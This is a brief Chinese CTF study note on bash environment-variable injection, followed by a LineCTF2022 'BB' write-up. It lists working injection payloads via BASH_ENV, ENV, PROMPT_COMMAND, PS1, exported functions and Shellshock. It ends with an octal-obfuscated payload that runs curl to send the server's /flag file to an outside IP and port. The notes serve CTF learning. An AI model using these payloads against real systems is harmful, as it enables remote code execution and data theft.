初识环境变量注入
简介
来源于p牛的博客https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html
一周内两个大ctf都涉及到这个点,做下简单整理。
整理
BASH_ENV
触发命令:
bash
1 | BASH_ENV='$(curl xxxxx)' |
ENV
触发命令:
bash -i -c
需要两个参数
sh -i -c
需要两个参数
1 | ENV='$(id 1>&2)' dash -i -c 'echo hello' |
PROMPT_COMMAND
触发命令
bash
1 | PROMPT_COMMAND='id' bash |
PS1
触发命令
bash
需要交互式shell
1 | PS1='$(id)' bash |
匿名函数
1 | env $'BASH_FUNC_myfunc%%=() { id; }' bash -c 'myfunc' |
文中给出了突破centos7的方法,也就是Bash 4.4
1 | Bash没有修复ShellShock漏洞:直接使用ShellShock的POC进行测试,例如TEST=() { :; }; id; |
[LineCTF2022]BB
简介
环境变量注入RCE
1 |
|
这里是bash可以尝试用BASH_ENV
来注入
但是这里过滤了所有的字母,可以用八进制绕过。
https://twitter.com/DissectMalware/status/1023682809368653826
1 | ?env[BASH_ENV]=$($'\143\165\162\154'%20$'\61\56\61\61\67\56\61\64\64\56\64\61\72\64\64\64\64') |
1 | /?env[BASH_ENV]=$($'\143\165\162\154'%20$'\61\56\61\61\67\56\61\64\64\56\64\61\72\64\64\64\64'%20$'\55\106'%20$'\146\151\154\145\75\100\57\146\154\141\147') |